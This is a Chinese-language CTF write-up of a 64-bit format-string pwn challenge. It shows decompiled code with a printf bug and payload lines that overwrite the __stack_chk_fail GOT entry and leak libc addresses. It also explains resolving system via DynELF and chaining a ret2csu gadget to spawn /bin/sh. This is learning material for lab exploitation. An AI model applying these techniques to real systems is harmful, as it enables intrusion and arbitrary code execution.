对于这道题,我还真的想说 what_the_fuck !!
这道题拿到就只发觉一个格式化字符串漏洞,其他的就找不到了 。
1 unsigned __int64 sub_4008C5() 2 { 3 char s; // [rsp+0h] [rbp-20h] 4 unsigned __int64 v2; // [rsp+18h] [rbp-8h] 5 6 v2 = __readfsqword(0x28u); 7 printf("leave a msg: "); 8 memset(&s, 0, 0x10uLL); 9 read(0, &s, 0x20uLL); 10 if ( strstr(&s, "%p") || strstr(&s, "$p") ) 11 { 12 puts("do you want to leak info?"); 13 exit(0); 14 } 15 printf(&s, "$p"); //漏洞所在 16 return __readfsqword(0x28u) ^ v2; 17 }
还是找了网上的wp 一边学,一边复现,这里总接下所学的。
看到这些这有一个格式化字符串漏洞,又开启了canary,可以先考虑覆盖__stack_chk_fail指向main,这样就可以利用溢出,无限往栈里写东西。
首先,在ida或者gdb调试中,把name和msg在栈中是第几个参数找出来,在64位的程序中,在64位的文件中,printf传参:现一般规则为, 当参数少于7个时, 参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9。
1 payload=l64(0x601020) 2 fd.recvuntil('input your name: ') 3 fd.send(payload) 4 fd.recvuntil('leave a msg: ') 5 payload='%.'+str(0x0983)+'d'+'%12$hn'+' %9$s%10$ld' 6 payload+='\x00'*(0x18-len(payload)) 7 payload+=l64(0x601040)
用%.sum$n 往栈里的指针参数写东西时,sum代表的是sum+1个参数。
.got.plt:0000000000601020 off_601020 dq offset __stack_chk_fail
got.plt:0000000000601040 off_601040 dq offset read ; DATA XREF: _read↑r
%9$s%10$ld 这里输出了第一次main函数的ebp,还有read函数的地址
然后可以构建一个leak函数,利用pwn的DynELF()找出system函数。这些题目给有给出libc的时候可以考虑下。
这样就知道system和read的地址了,接下来就是构建栈的结构,执行read(0,addr,size) 写入/bin/sh +'\x00'+system, 然后system(/bin/sh)开启shell,关于read的参数 可以利用init里面的
1 text:0000000000400A60 loc_400A60: ; CODE XREF: init+54↓j 2 .text:0000000000400A60 mov rdx, r13 3 .text:0000000000400A63 mov rsi, r14 4 .text:0000000000400A66 mov edi, r15d 5 .text:0000000000400A69 call qword ptr [r12+rbx*8] 6 .text:0000000000400A6D add rbx, 1 7 .text:0000000000400A71 cmp rbx, rbp 8 .text:0000000000400A74 jnz short loc_400A60 9 .text:0000000000400A76 10 .text:0000000000400A76 loc_400A76: ; CODE XREF: init+36↑j 11 .text:0000000000400A76 add rsp, 8 12 .text:0000000000400A7A pop rbx 13 .text:0000000000400A7B pop rbp 14 .text:0000000000400A7C pop r12 15 .text:0000000000400A7E pop r13 16 .text:0000000000400A80 pop r14 17 .text:0000000000400A82 pop r15 18 .text:0000000000400A84 retn 19 .text:0000000000400A84 ; } // starts at 400A20
接下来就是构建栈,
首先在第二次就开始布局,这里就不多说了 https://www.cnblogs.com/shangye/p/6209008.html 这个大佬里面很详细。
下面我只讲一些 在理解的时候出现的问题,就是在执行call的时候会把rip push 进栈中。就是忘了 这个,,搞了大半天。一个个参数调试,烦死了